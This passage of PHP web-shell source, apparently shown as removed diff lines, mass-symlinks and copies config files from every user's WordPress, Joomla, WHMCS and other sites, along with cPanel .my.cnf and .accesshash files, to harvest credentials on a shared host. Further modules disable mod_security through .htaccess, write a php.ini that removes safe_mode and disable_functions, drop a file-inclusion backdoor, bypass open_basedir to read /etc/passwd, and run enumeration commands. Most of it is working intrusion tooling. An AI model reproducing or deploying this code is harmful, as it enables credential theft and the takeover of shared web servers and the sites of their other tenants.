- exe("ln -s /home/$i/public_html/submitticket.php exe/$i-whmcs2.txt");
- exe("ln -s /home/$i/public_html/clients/configuration.php exe/$i-clients.txt");
- exe("ln -s /home/$i/public_html/client/configuration.php exe/$i-client.txt");
- exe("ln -s /home/$i/public_html/clientes/configuration.php exe/$i-clientes.txt");
- exe("ln -s /home/$i/public_html/cliente/configuration.php exe/$i-client.txt");
- exe("ln -s /home/$i/public_html/clientsupport/configuration.php exe/$i-clientsupport.txt");
- exe("ln -s /home/$i/public_html/billing/configuration.php exe/$i-billing.txt");
- exe("ln -s /home/$i/public_html/manage/configuration.php exe/$i-whm-manage.txt");
- exe("ln -s /home/$i/public_html/my/configuration.php exe/$i-whm-my.txt");
- exe("ln -s /home/$i/public_html/myshop/configuration.php exe/$i-whm-myshop.txt");
- exe("ln -s /home/$i/public_html/includes/dist-configure.php exe/$i-zencart.txt");
- exe("ln -s /home/$i/public_html/zencart/includes/dist-configure.php exe/$i-shop-zencart.txt");
- exe("ln -s /home/$i/public_html/shop/includes/dist-configure.php exe/$i-shop-ZCshop.txt");
- exe("ln -s /home/$i/public_html/Settings.php exe/$i-smf.txt");
- exe("ln -s /home/$i/public_html/smf/Settings.php exe/$i-smf2.txt");
- exe("ln -s /home/$i/public_html/forum/Settings.php exe/$i-smf-forum.txt");
- exe("ln -s /home/$i/public_html/forums/Settings.php exe/$i-smf-forums.txt");
- exe("ln -s /home/$i/public_html/upload/includes/config.php exe/$i-up.txt");
- exe("ln -s /home/$i/public_html/article/config.php exe/$i-Nwahy.txt");
- exe("ln -s /home/$i/public_html/up/includes/config.php exe/$i-up2.txt");
- exe("ln -s /home/$i/public_html/conf_global.php exe/$i-6.txt");
- exe("ln -s /home/$i/public_html/include/db.php exe/$i-7.txt");
- exe("ln -s /home/$i/public_html/connect.php exe/$i-PHP-Fusion.txt");
- exe("ln -s /home/$i/public_html/mk_conf.php exe/$i-9.txt");
- exe("ln -s /home/$i/public_html/includes/config.php exe/$i-traidnt1.txt");
- exe("ln -s /home/$i/public_html/config.php exe/$i-4images.txt");
- exe("ln -s /home/$i/public_html/sites/default/settings.php exe/$i-Drupal.txt");
- exe("ln -s /home/$i/public_html/member/configuration.php exe/$i-1member-configuration425.txt");
- exe("ln -s /home/$i/public_html/billings/configuration.php exe/$i-billings.txt");
- exe("ln -s /home/$i/public_html/whm/configuration.php exe/$i-whm.txt");
- exe("ln -s /home/$i/public_html/supports/configuration.php exe/$i-supports.txt");
- exe("ln -s /home/$i/public_html/requires/config.php exe/$i-AM4SS-hosting.txt");
- exe("ln -s /home/$i/public_html/supports/includes/iso4217.php exe/$i-hostbills-supports.txt");
- exe("ln -s /home/$i/public_html/client/includes/iso4217.php exe/$i-hostbills-client.txt");
- exe("ln -s /home/$i/public_html/support/includes/iso4217.php exe/$i-hostbills-support.txt");
- exe("ln -s /home/$i/public_html/billing/includes/iso4217.php exe/$i-hostbills-billing.txt");
- exe("ln -s /home/$i/public_html/billings/includes/iso4217.php exe/$i-hostbills-billings.txt");
- exe("ln -s /home/$i/public_html/host/includes/iso4217.php exe/$i-hostbills-host.txt");
- exe("ln -s /home/$i/public_html/hosts/includes/iso4217.php exe/$i-hostbills-hosts.txt");
- exe("ln -s /home/$i/public_html/hosting/includes/iso4217.php exe/$i-hostbills-hosting.txt");
- exe("ln -s /home/$i/public_html/hostings/includes/iso4217.php exe/$i-hostbills-hostings.txt");
- exe("ln -s /home/$i/public_html/includes/iso4217.php exe/$i-hostbills.txt");
- exe("ln -s /home/$i/public_html/hostbills/includes/iso4217.php exe/$i-hostbills-hostbills.txt");
- exe("ln -s /home/$i/public_html/hostbill/includes/iso4217.php exe/$i-hostbills-hostbill.txt");
- exe("ln -s /home/$i/public_html/bb-config.php exe/$i-bb-config.txt");
- @symlink("/root/.accesshash","sym/root_AccessHash.txt");
- @symlink("/home/$i/.my.cnf","sym/$i-my.cnf_cPanel.txt");
- @symlink("/home/$i/.accesshash","sym/$i-AccessHash_Whm.txt");
- @symlink("/home/$i/cpanel3-skel","sym/$i-RESELLER");
- @symlink("/home/$i/.cpanel","sym/$i-cachesconfig");
- @symlink("/home/$i/public_html/includes/configure.php","sym/$i-shop.txt");
- @symlink("/home/$i/public_html/soporte/configuration.php","sym/$i-soporte-whmcs.txt");
- @symlink("/home/$i/public_html/painel-do-cliente/configuration.php","sym/$i-painel-do-cliente-whmcs.txt");
- @symlink("/home/$i/public_html/financeiro/configuration.php","sym/$i-financeiro_whmcs.txt");
- @symlink("/home/$i/public_html/os/includes/configure.php","sym/$i-shop-os.txt");
- @symlink("/home/$i/public_html/oscom/includes/configure.php","sym/$i-oscom.txt");
- @symlink("/home/$i/public_html/oscommerce/includes/configure.php","sym/$i-oscommerce.txt");
- @symlink("/home/$i/public_html/oscommerces/includes/configure.php","sym/$i-oscommerces.txt");
- @symlink("/home/$i/public_html/shop/includes/configure.php","sym/$i-shop2.txt");
- @symlink("/home/$i/public_html/shopping/includes/configure.php","sym/$i-shop-shopping.txt");
- @symlink("/home/$i/public_html/sale/includes/configure.php","sym/$i-sale.txt");
- @symlink("/home/$i/public_html/amember/config.inc.php","sym/$i-amember.txt");
- @symlink("/home/$i/public_html/config.inc.php","sym/$i-amember2.txt");
- @symlink("/home/$i/public_html/member/config.php","sym/$i-member-config73.txt");
- @symlink("/home/$i/public_html/member/configuration.php","sym/$i-member-configuration457.txt");
- @symlink("/home/$i/public_html/members/configuration.php","sym/$i-members-configuration8768.txt");
- @symlink("/home/$i/public_html/members/config.php","sym/$i-members-configuration47533.txt");
- @symlink("/home/$i/public_html/config.php","sym/$i-4images1.txt");
- @symlink("/home/$i/public_html/forum/includes/config.php","sym/$i-forum.txt");
- @symlink("/home/$i/public_html/forums/includes/config.php","sym/$i-forums.txt");
- @symlink("/home/$i/public_html/admin/conf.php","sym/$i-5.txt");
- @symlink("/home/$i/public_html/admin/config.php","sym/$i-4.txt");
- @symlink("/home/$i/public_html/wp-config.php","sym/$i-WordPress.txt");
- @symlink("/home/$i/public_html/wp/wp-config.php","sym/$i-WordPress-wp.txt");
- @symlink("/home/$i/public_html/WP/wp-config.php","sym/$i-WordPress-WP.txt");
- @symlink("/home/$i/public_html/wp/beta/wp-config.php","sym/$i-WordPress-wp-beta.txt");
- @symlink("/home/$i/public_html/beta/wp-config.php","sym/$i-WordPress-beta.txt");
- @symlink("/home/$i/public_html/press/wp-config.php","sym/$i-WordPress-press.txt");
- @symlink("/home/$i/public_html/wordpress/wp-config.php","sym/$i-WordPress-wordpress.txt");
- @symlink("/home/$i/public_html/Wordpress/wp-config.php","sym/$i-WordPress-Wordpress.txt");
- @symlink("/home/$i/public_html/blog/wp-config.php","sym/$i-WordPress-Wordpress.txt");
- @symlink("/home/$i/public_html/wordpress/beta/wp-config.php","sym/$i-WordPress-wordpress-beta.txt");
- @symlink("/home/$i/public_html/news/wp-config.php","sym/$i-WordPress-news.txt");
- @symlink("/home/$i/public_html/new/wp-config.php","sym/$i-WordPress-new.txt");
- @symlink("/home/$i/public_html/blog/wp-config.php","sym/$i-WordPress-blog.txt");
- @symlink("/home/$i/public_html/beta/wp-config.php","sym/$i-WordPress-beta.txt");
- @symlink("/home/$i/public_html/blogs/wp-config.php","sym/$i-WordPress-blogs.txt");
- @symlink("/home/$i/public_html/home/wp-config.php","sym/$i-WordPress-home.txt");
- @symlink("/home/$i/public_html/protal/wp-config.php","sym/$i-WordPress-protal.txt");
- @symlink("/home/$i/public_html/site/wp-config.php","sym/$i-WordPress-site.txt");
- @symlink("/home/$i/public_html/main/wp-config.php","sym/$i-WordPress-main.txt");
- @symlink("/home/$i/public_html/test/wp-config.php","sym/$i-WordPress-test.txt");
- @symlink("/home/$i/public_html/arcade/functions/dbclass.php","sym/$i-ibproarcade.txt");
- @symlink("/home/$i/public_html/arcade/functions/dbclass.php","sym/$i-ibproarcade.txt");
- @symlink("/home/$i/public_html/joomla/configuration.php","sym/$i-joomla2.txt");
- @symlink("/home/$i/public_html/protal/configuration.php","sym/$i-joomla-protal.txt");
- @symlink("/home/$i/public_html/joo/configuration.php","sym/$i-joo.txt");
- @symlink("/home/$i/public_html/cms/configuration.php","sym/$i-joomla-cms.txt");
- @symlink("/home/$i/public_html/site/configuration.php","sym/$i-joomla-site.txt");
- @symlink("/home/$i/public_html/main/configuration.php","sym/$i-joomla-main.txt");
- @symlink("/home/$i/public_html/news/configuration.php","sym/$i-joomla-news.txt");
- @symlink("/home/$i/public_html/new/configuration.php","sym/$i-joomla-new.txt");
- @symlink("/home/$i/public_html/home/configuration.php","sym/$i-joomla-home.txt");
- @symlink("/home/$i/public_html/vb/includes/config.php","sym/$i-vb-config.txt");
- @symlink("/home/$i/public_html/vb3/includes/config.php","sym/$i-vb3-config.txt");
- @symlink("/home/$i/public_html/cc/includes/config.php","sym/$i-vb1-config.txt");
- @symlink("/home/$i/public_html/includes/config.php","sym/$i-includes-vb.txt");
- @symlink("/home/$i/public_html/forum/includes/class_core.php","sym/$i-vbluttin-class_core.php.txt");
- @symlink("/home/$i/public_html/vb/includes/class_core.php","sym/$i-vbluttin-class_core.php1.txt");
- @symlink("/home/$i/public_html/cc/includes/class_core.php","sym/$i-vbluttin-class_core.php2.txt");
- @symlink("/home/$i/public_html/cliente/configuration.php","sym/$i-whmcs_cliente.txt");
- @symlink("/home/$i/public_html/whm/configuration.php","sym/$i-whm15.txt");
- @symlink("/home/$i/public_html/central/configuration.php","sym/$i-whm-central.txt");
- @symlink("/home/$i/public_html/whm/whmcs/configuration.php","sym/$i-whm-whmcs.txt");
- @symlink("/home/$i/public_html/whm/WHMCS/configuration.php","sym/$i-whm-WHMCS.txt");
- @symlink("/home/$i/public_html/whmc/WHM/configuration.php","sym/$i-whmc-WHM.txt");
- @symlink("/home/$i/public_html/whmcs/configuration.php","sym/$i-whmcs.txt");
- @symlink("/home/$i/public_html/support/configuration.php","sym/$i-support.txt");
- @symlink("/home/$i/public_html/supp/configuration.php","sym/$i-supp.txt");
- @symlink("/home/$i/public_html/secure/configuration.php","sym/$i-sucure.txt");
- @symlink("/home/$i/public_html/secure/whm/configuration.php","sym/$i-sucure-whm.txt");
- @symlink("/home/$i/public_html/secure/whmcs/configuration.php","sym/$i-sucure-whmcs.txt");
- @symlink("/home/$i/public_html/cpanel/configuration.php","sym/$i-cpanel.txt");
- @symlink("/home/$i/public_html/panel/configuration.php","sym/$i-panel.txt");
- @symlink("/home/$i/public_html/host/configuration.php","sym/$i-host.txt");
- @symlink("/home/$i/public_html/hosting/configuration.php","sym/$i-hosting.txt");
- @symlink("/home/$i/public_html/hosts/configuration.php","sym/$i-hosts.txt");
- @symlink("/home/$i/public_html/configuration.php","sym/$i-joomla.txt");
- @symlink("/home/$i/public_html/submitticket.php","sym/$i-whmcs2.txt");
- @symlink("/home/$i/public_html/clients/configuration.php","sym/$i-clients.txt");
- @symlink("/home/$i/public_html/client/configuration.php","sym/$i-client.txt");
- @symlink("/home/$i/public_html/clientes/configuration.php","sym/$i-clientes.txt");
- @symlink("/home/$i/public_html/cliente/configuration.php","sym/$i-client.txt");
- @symlink("/home/$i/public_html/clientsupport/configuration.php","sym/$i-clientsupport.txt");
- @symlink("/home/$i/public_html/billing/configuration.php","sym/$i-billing.txt");
- @symlink("/home/$i/public_html/manage/configuration.php","sym/$i-whm-manage.txt");
- @symlink("/home/$i/public_html/my/configuration.php","sym/$i-whm-my.txt");
- @symlink("/home/$i/public_html/myshop/configuration.php","sym/$i-whm-myshop.txt");
- @symlink("/home/$i/public_html/includes/dist-configure.php","sym/$i-zencart.txt");
- @symlink("/home/$i/public_html/zencart/includes/dist-configure.php","sym/$i-shop-zencart.txt");
- @symlink("/home/$i/public_html/shop/includes/dist-configure.php","sym/$i-shop-ZCshop.txt");
- @symlink("/home/$i/public_html/Settings.php","sym/$i-smf.txt");
- @symlink("/home/$i/public_html/smf/Settings.php","sym/$i-smf2.txt");
- @symlink("/home/$i/public_html/forum/Settings.php","sym/$i-smf-forum.txt");
- @symlink("/home/$i/public_html/forums/Settings.php","sym/$i-smf-forums.txt");
- @symlink("/home/$i/public_html/upload/includes/config.php","sym/$i-up.txt");
- @symlink("/home/$i/public_html/article/config.php","sym/$i-Nwahy.txt");
- @symlink("/home/$i/public_html/up/includes/config.php","sym/$i-up2.txt");
- @symlink("/home/$i/public_html/conf_global.php","sym/$i-6.txt");
- @symlink("/home/$i/public_html/include/db.php","sym/$i-7.txt");
- @symlink("/home/$i/public_html/connect.php","sym/$i-PHP-Fusion.txt");
- @symlink("/home/$i/public_html/mk_conf.php","sym/$i-9.txt");
- @symlink("/home/$i/public_html/includes/config.php","sym/$i-traidnt1.txt");
- @symlink("/home/$i/public_html/config.php","sym/$i-4images.txt");
- @symlink("/home/$i/public_html/sites/default/settings.php","sym/$i-Drupal.txt");
- @symlink("/home/$i/public_html/member/configuration.php","sym/$i-1member-configuration425.txt");
- @symlink("/home/$i/public_html/billings/configuration.php","sym/$i-billings.txt");
- @symlink("/home/$i/public_html/whm/configuration.php","sym/$i-whm.txt");
- @symlink("/home/$i/public_html/supports/configuration.php","sym/$i-supports.txt");
- @symlink("/home/$i/public_html/requires/config.php","sym/$i-AM4SS-hosting.txt");
- @symlink("/home/$i/public_html/supports/includes/iso4217.php","sym/$i-hostbills-supports.txt");
- @symlink("/home/$i/public_html/client/includes/iso4217.php","sym/$i-hostbills-client.txt");
- @symlink("/home/$i/public_html/support/includes/iso4217.php","sym/$i-hostbills-support.txt");
- @symlink("/home/$i/public_html/billing/includes/iso4217.php","sym/$i-hostbills-billing.txt");
- @symlink("/home/$i/public_html/billings/includes/iso4217.php","sym/$i-hostbills-billings.txt");
- @symlink("/home/$i/public_html/host/includes/iso4217.php","sym/$i-hostbills-host.txt");
- @symlink("/home/$i/public_html/hosts/includes/iso4217.php","sym/$i-hostbills-hosts.txt");
- @symlink("/home/$i/public_html/hosting/includes/iso4217.php","sym/$i-hostbills-hosting.txt");
- @symlink("/home/$i/public_html/hostings/includes/iso4217.php","sym/$i-hostbills-hostings.txt");
- @symlink("/home/$i/public_html/includes/iso4217.php","sym/$i-hostbills.txt");
- @symlink("/home/$i/public_html/hostbills/includes/iso4217.php","sym/$i-hostbills-hostbills.txt");
- @symlink("/home/$i/public_html/hostbill/includes/iso4217.php","sym/$i-hostbills-hostbill.txt");
- @symlink("/home/$i/public_html/bb-config.php","sym/$i-bb-config.txt");
- @copy("/root/.accesshash","root_AccessHash.txt");
- @copy("/home/$i/.my.cnf","$i-my.cnf_cPanel.txt");
- @copy("/home/$i/.accesshash","$i-AccessHash_Whm.txt");
- @copy("/home/$i/public_html/includes/configure.php","$i-shop.txt");
- @copy("/home/$i/public_html/soporte/configuration.php","$i-soporte-whmcs.txt");
- @copy("/home/$i/public_html/painel-do-cliente/configuration.php","$i-painel-do-cliente-whmcs.txt");
- @copy("/home/$i/public_html/financeiro/configuration.php","$i-financeiro_whmcs.txt");
- @copy("/home/$i/public_html/os/includes/configure.php","$i-shop-os.txt");
- @copy("/home/$i/public_html/oscom/includes/configure.php","$i-oscom.txt");
- @copy("/home/$i/public_html/oscommerce/includes/configure.php","$i-oscommerce.txt");
- @copy("/home/$i/public_html/oscommerces/includes/configure.php","$i-oscommerces.txt");
- @copy("/home/$i/public_html/shop/includes/configure.php","$i-shop2.txt");
- @copy("/home/$i/public_html/shopping/includes/configure.php","$i-shop-shopping.txt");
- @copy("/home/$i/public_html/sale/includes/configure.php","$i-sale.txt");
- @copy("/home/$i/public_html/amember/config.inc.php","$i-amember.txt");
- @copy("/home/$i/public_html/config.inc.php","$i-amember2.txt");
- @copy("/home/$i/public_html/members/configuration.php","$i-members.txt");
- @copy("/home/$i/public_html/config.php","$i-4images1.txt");
- @copy("/home/$i/public_html/forum/includes/config.php","$i-forum.txt");
- @copy("/home/$i/public_html/forums/includes/config.php","$i-forums.txt");
- @copy("/home/$i/public_html/admin/conf.php","$i-5.txt");
- @copy("/home/$i/public_html/admin/config.php","$i-4.txt");
- @copy("/home/$i/public_html/wp-config.php","$i-WordPress.txt");
- @copy("/home/$i/public_html/wp/wp-config.php","$i-WordPress-wp.txt");
- @copy("/home/$i/public_html/WP/wp-config.php","$i-WordPress-WP.txt");
- @copy("/home/$i/public_html/wp/beta/wp-config.php","$i-WordPress-wp-beta.txt");
- @copy("/home/$i/public_html/beta/wp-config.php","$i-WordPress-beta.txt");
- @copy("/home/$i/public_html/press/wp-config.php","$i-WordPress-press.txt");
- @copy("/home/$i/public_html/wordpress/wp-config.php","$i-WordPress-wordpress.txt");
- @copy("/home/$i/public_html/Wordpress/wp-config.php","$i-WordPress-Wordpress.txt");
- @copy("/home/$i/public_html/blog/wp-config.php","$i-WordPress-Wordpress.txt");
- @copy("/home/$i/public_html/wordpress/beta/wp-config.php","$i-WordPress-wordpress-beta.txt");
- @copy("/home/$i/public_html/news/wp-config.php","$i-WordPress-news.txt");
- @copy("/home/$i/public_html/new/wp-config.php","$i-WordPress-new.txt");
- @copy("/home/$i/public_html/blog/wp-config.php","$i-WordPress-blog.txt");
- @copy("/home/$i/public_html/beta/wp-config.php","$i-WordPress-beta.txt");
- @copy("/home/$i/public_html/blogs/wp-config.php","$i-WordPress-blogs.txt");
- @copy("/home/$i/public_html/home/wp-config.php","$i-WordPress-home.txt");
- @copy("/home/$i/public_html/protal/wp-config.php","$i-WordPress-protal.txt");
- @copy("/home/$i/public_html/site/wp-config.php","$i-WordPress-site.txt");
- @copy("/home/$i/public_html/main/wp-config.php","$i-WordPress-main.txt");
- @copy("/home/$i/public_html/test/wp-config.php","$i-WordPress-test.txt");
- @copy("/home/$i/public_html/arcade/functions/dbclass.php","$i-ibproarcade.txt");
- @copy("/home/$i/public_html/arcade/functions/dbclass.php","$i-ibproarcade.txt");
- @copy("/home/$i/public_html/joomla/configuration.php","$i-joomla2.txt");
- @copy("/home/$i/public_html/protal/configuration.php","$i-joomla-protal.txt");
- @copy("/home/$i/public_html/joo/configuration.php","$i-joo.txt");
- @copy("/home/$i/public_html/cms/configuration.php","$i-joomla-cms.txt");
- @copy("/home/$i/public_html/site/configuration.php","$i-joomla-site.txt");
- @copy("/home/$i/public_html/main/configuration.php","$i-joomla-main.txt");
- @copy("/home/$i/public_html/news/configuration.php","$i-joomla-news.txt");
- @copy("/home/$i/public_html/new/configuration.php","$i-joomla-new.txt");
- @copy("/home/$i/public_html/home/configuration.php","$i-joomla-home.txt");
- @copy("/home/$i/public_html/vb/includes/config.php","$i-vb-config.txt");
- @copy("/home/$i/public_html/vb3/includes/config.php","$i-vb3-config.txt");
- @copy("/home/$i/public_html/cc/includes/config.php","$i-vb1-config.txt");
- @copy("/home/$i/public_html/includes/config.php","$i-includes-vb.txt");
- @copy("/home/$i/public_html/forum/includes/class_core.php","$i-vbluttin-class_core.php.txt");
- @copy("/home/$i/public_html/vb/includes/class_core.php","$i-vbluttin-class_core.php1.txt");
- @copy("/home/$i/public_html/cc/includes/class_core.php","$i-vbluttin-class_core.php2.txt");
- @copy("/home/$i/public_html/cliente/configuration.php","$i-whmcs_cliente.txt");
- @copy("/home/$i/public_html/whm/configuration.php","$i-whm15.txt");
- @copy("/home/$i/public_html/central/configuration.php","$i-whm-central.txt");
- @copy("/home/$i/public_html/whm/whmcs/configuration.php","$i-whm-whmcs.txt");
- @copy("/home/$i/public_html/whm/WHMCS/configuration.php","$i-whm-WHMCS.txt");
- @copy("/home/$i/public_html/whmc/WHM/configuration.php","$i-whmc-WHM.txt");
- @copy("/home/$i/public_html/whmcs/configuration.php","$i-whmcs.txt");
- @copy("/home/$i/public_html/support/configuration.php","$i-support.txt");
- @copy("/home/$i/public_html/supp/configuration.php","$i-supp.txt");
- @copy("/home/$i/public_html/secure/configuration.php","$i-sucure.txt");
- @copy("/home/$i/public_html/secure/whm/configuration.php","$i-sucure-whm.txt");
- @copy("/home/$i/public_html/secure/whmcs/configuration.php","$i-sucure-whmcs.txt");
- @copy("/home/$i/public_html/cpanel/configuration.php","$i-cpanel.txt");
- @copy("/home/$i/public_html/panel/configuration.php","$i-panel.txt");
- @copy("/home/$i/public_html/host/configuration.php","$i-host.txt");
- @copy("/home/$i/public_html/hosting/configuration.php","$i-hosting.txt");
- @copy("/home/$i/public_html/hosts/configuration.php","$i-hosts.txt");
- @copy("/home/$i/public_html/configuration.php","$i-joomla.txt");
- @copy("/home/$i/public_html/submitticket.php","$i-whmcs2.txt");
- @copy("/home/$i/public_html/clients/configuration.php","$i-clients.txt");
- @copy("/home/$i/public_html/client/configuration.php","$i-client.txt");
- @copy("/home/$i/public_html/clientes/configuration.php","$i-clientes.txt");
- @copy("/home/$i/public_html/cliente/configuration.php","$i-client.txt");
- @copy("/home/$i/public_html/clientsupport/configuration.php","$i-clientsupport.txt");
- @copy("/home/$i/public_html/billing/configuration.php","$i-billing.txt");
- @copy("/home/$i/public_html/manage/configuration.php","$i-whm-manage.txt");
- @copy("/home/$i/public_html/my/configuration.php","$i-whm-my.txt");
- @copy("/home/$i/public_html/myshop/configuration.php","$i-whm-myshop.txt");
- @copy("/home/$i/public_html/includes/dist-configure.php","$i-zencart.txt");
- @copy("/home/$i/public_html/zencart/includes/dist-configure.php","$i-shop-zencart.txt");
- @copy("/home/$i/public_html/shop/includes/dist-configure.php","$i-shop-ZCshop.txt");
- @copy("/home/$i/public_html/Settings.php","$i-smf.txt");
- @copy("/home/$i/public_html/smf/Settings.php","$i-smf2.txt");
- @copy("/home/$i/public_html/forum/Settings.php","$i-smf-forum.txt");
- @copy("/home/$i/public_html/forums/Settings.php","$i-smf-forums.txt");
- @copy("/home/$i/public_html/upload/includes/config.php","$i-up.txt");
- @copy("/home/$i/public_html/article/config.php","$i-Nwahy.txt");
- @copy("/home/$i/public_html/up/includes/config.php","$i-up2.txt");
- @copy("/home/$i/public_html/conf_global.php","$i-6.txt");
- @copy("/home/$i/public_html/include/db.php","$i-7.txt");
- @copy("/home/$i/public_html/connect.php","$i-PHP-Fusion.txt");
- @copy("/home/$i/public_html/mk_conf.php","$i-9.txt");
- @copy("/home/$i/public_html/includes/config.php","$i-traidnt1.txt");
- @copy("/home/$i/public_html/config.php","$i-4images.txt");
- @copy("/home/$i/public_html/sites/default/settings.php","$i-Drupal.txt");
- @copy("/home/$i/public_html/member/config.php","$i-1member-config.txt");
- @copy("/home/$i/public_html/member/configuration.php","$i-1member-configuration.txt");
- @copy("/home/$i/public_html/members/config.php","$i-1member.txt");
- @copy("/home/$i/public_html/members/configuration.php","$i-1member.txt");
- @copy("/home/$i/public_html/billings/configuration.php","$i-billings.txt");
- @copy("/home/$i/public_html/whm/configuration.php","$i-whm.txt");
- @copy("/home/$i/public_html/supports/configuration.php","$i-supports.txt");
- @copy("/home/$i/public_html/requires/config.php","$i-AM4SS-hosting.txt");
- @copy("/home/$i/public_html/supports/includes/iso4217.php","$i-hostbills-supports.txt");
- @copy("/home/$i/public_html/client/includes/iso4217.php","$i-hostbills-client.txt");
- @copy("/home/$i/public_html/support/includes/iso4217.php","$i-hostbills-support.txt");
- @copy("/home/$i/public_html/billing/includes/iso4217.php","$i-hostbills-billing.txt");
- @copy("/home/$i/public_html/billings/includes/iso4217.php","$i-hostbills-billings.txt");
- @copy("/home/$i/public_html/host/includes/iso4217.php","$i-hostbills-host.txt");
- @copy("/home/$i/public_html/hosts/includes/iso4217.php","$i-hostbills-hosts.txt");
- @copy("/home/$i/public_html/hosting/includes/iso4217.php","$i-hostbills-hosting.txt");
- @copy("/home/$i/public_html/hostings/includes/iso4217.php","$i-hostbills-hostings.txt");
- @copy("/home/$i/public_html/includes/iso4217.php","$i-hostbills.txt");
- @copy("/home/$i/public_html/hostbills/includes/iso4217.php","$i-hostbills-hostbills.txt");
- @copy("/home/$i/public_html/hostbill/includes/iso4217.php","$i-hostbills-hostbill.txt");
- @copy("/home/$i/public_html/bb-config.php","$i-bb-config.txt");
- }
- echo "<a href='hacked/auto_grab' target='_blank'><span class='b9'>Intip</span></a><br/></center>";
- }elseif(isset($_GET['x'])&&($_GET['x']=='adminer')){
- $file=toolurl("http://github.com/vrana/adminer/releases/download/v4.3.1/adminer-4.3.1.php");
- simpan('adminercok.php',$file);
- echo "<br /><center><span class='b7'>Generate file adminercok.php succesfully</span><br/><a href='adminercok.php' target='_blank'><span class='b9'>Adminer</span></a><br/></center>";
- }elseif(isset($_GET['x'])&&($_GET['x']=='dmsec1')){
- $jablay="<IfModule mod_security.c>\nSecFilterEngine OFF\nSecFilterScanPOST OFF\n</IfModule>";
- $kimcil="<?php\necho ini_get(\"safe_mode\");\necho ini_get(\"open_basedir\");\ninclude(\$_GET[\"file\"]);\nini_restore(\"safe_mode\");\nini_restore(\"open_basedir\");\necho ini_get(\"safe_mode\");\necho ini_get(\"open_basedir\");\ninclude(\$_GET[\"ss\"]);\n?>";
- simpan('.htaccess',$jablay);
- simpan('ini.php',$kimcil);
- $kobel="<center><br/><br/><b><span class='b7'>O=:[ BYPASS HTACCESS ]:=O</span></b><br/><br/><span class='b9'>Generate htaccess & ini.php Successfully :)</span><br/><br/><br/></center>";
- echo $kobel;
- }elseif(isset($_GET['x'])&&($_GET['x']=='dmsec2')){
- echo'<center><br/><br/><b><span class="b7">O=:[ BYPASS PHP.INI ]:=O</span></b><br/><br/>';
- simpan('php.ini',"safe_mode=OFF\nsafe_mode_gid=OFF\ndisable_functions=NONE\ndisable_classes=NONE\nopen_basedir=OFF\nsuhosin.executor.func.blacklist=NONE");
- if(file_exists($pwd.'php.ini')){
- echo'<span class="b9">Generate php.ini Successfully :)</span><br/><br/><br/></center>';
- }else{
- echo'<span class="b9">Generate php.ini Failed :)</span><br/><br/><br/></center>';
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='dmsec3')){
- echo "<br/><table style='margin: auto; width: 100%; text-align: center;'><tr>
- <td colspan='3'> <center><b><span class='b7'>O=:[ BYPASS BASEDIR ]:=O</span></b><br/><br/></center> </td>
- </tr>
- <tr>
- <td>[~] Bypass Basedir cURL [~]</td>
- <td>[~] Bypass Basedir copy() [~]</td>
- </tr>
- <tr>
- <td><form method='post' name='bypasser'>
- FILE:<input type='text' value='/etc/passwd' name='file_bypass'> <input type='submit' name='curl_bypass' value='Bypass'></form></td>
- <td><form method='post' name='bypasser'> FILE COPY TO:<input type='text' style='width: 250px;' name='dest' value='" . CleanDir(getcwd())."/maho.txt'> <input type='text' value='/etc/passwd' name='file_bypass'> <input type='submit' name='copy_bypass' value='Bypass'>
- </form>
- </td>
- </table>";
- if(isset($_POST['curl_bypass'])) {
- @error_reporting(0);
- $ch=curl_init("file://$_POST[file_bypass]");
- curl_setopt($ch, CURLOPT_HEADERS, 0);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- $file_out=curl_exec($ch);
- curl_close($ch);
- echo "<br/><center><textarea>" . htmlspecialchars($file_out)."</textarea></br></br>";
- }elseif(isset($_POST['copy_bypass'])) {
- if(@copy($_POST['file_bypass'],$_POST['dest'])) {
- @$fh=fopen($_POST['dest'], 'r');
- echo "<br/><center><textarea>" . htmlspecialchars(@fread($fh, filesize($_POST['dest'])))."</textarea></br></br>";
- @fclose($fh);
- } else
- echo "<center><br/><br/>
- <h1>O=:[ BYPASS DENIED ]:=O</h1><br></br>";
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='dmsec4')){
- echo "<center><br/><br/><b><span class='b7'>O=:[ BYPASS PROCESS ]:=O</span></b><br/><br/>";
- if($win) {
- echo "<form method='post'>
- <select name='windowsprocess'>
- <option name='systeminfo'>System Info</option>
- <option name='active'>Active Connections</option>
- <option name='runningserv'>Running Services</option>
- <option name='useracc'>User Accounts</option>
- <option name='showcom'>Show Computers</option>
- <option name='arptab'>ARP Table</option>
- <option name='ipconf'>IP Configuration</option></select>
- <input type='submit' class='inputzbut' name='submitwinprocess' value='View'>
- </form>";
- }else{
- echo "<form method='post'>
- <select name='nonwindowsprocess'>
- <option name='prs'>Process</option>
- <option name='passwd'>Passwd</option>
- <option name='varmail'>var mail</option>
- <option name='syslog'>Syslog</option>
- <option name='resolv'>Resolv</option>
- <option name='hosts'>Hosts</option>
- <option name='cpuinfo'>Cpuinfo</option>
- <option name='version'>Version</option>
- <option name='sbin'>Sbin</option>
- <option name='interrupts'>Interrupts</option>
- <option name='lsattr'>lsattr</option>
- <option name='uptime'>Uptime</option>
- <option name='fstab'>Fstab</option>
- <option name='hddspace'>HDD Space</option>
- </select>
- <input type='submit' class='inputzbut' name='submitnonwinprocess' value=' >> '></form>";
- }
- $windowsprocess=$_POST['windowsprocess'];
- $nonwindowsprocess=$_POST['nonwindowsprocess'];
- if($windowsprocess=="System Info")
- $winruncom="systeminfo";
- if($windowsprocess=="Active Connections")
- $winruncom="netstat -an";
- if($windowsprocess=="Running Services")
- $winruncom="net start";
- if($windowsprocess=="User Accounts")
- $winruncom="net user";
- if($windowsprocess=="Show Computers")
- $winruncom="net view";
- if($windowsprocess=="ARP Table")
- $winruncom="arp -a";
- if($windowsprocess=="IP Configuration")
- $winruncom="ipconfig /all";
- if($nonwindowsprocess=="Syslog")
- $winruncom="cat /etc/syslog.conf";
- if($nonwindowsprocess=="Resolv")
- $winruncom="cat /etc/resolv.conf";
- if($nonwindowsprocess=="Hosts")
- $winruncom="cat /etc/hosts";
- if($nonwindowsprocess=="Passwd")
- $winruncom="cat /etc/passwd";
- if($nonwindowsprocess=="varmail")
- $winruncom="ls /var/mail";
- if($nonwindowsprocess=="cpuinfo")
- $winruncom="cat /proc/cpuinfo";
- if($nonwindowsprocess=="Version")
- $winruncom="cat /proc/version";
- if($nonwindowsprocess=="Sbin")
- $winruncom="ls -al /usr/sbin";
- if($nonwindowsprocess=="Process")
- $winruncom="ps aux";
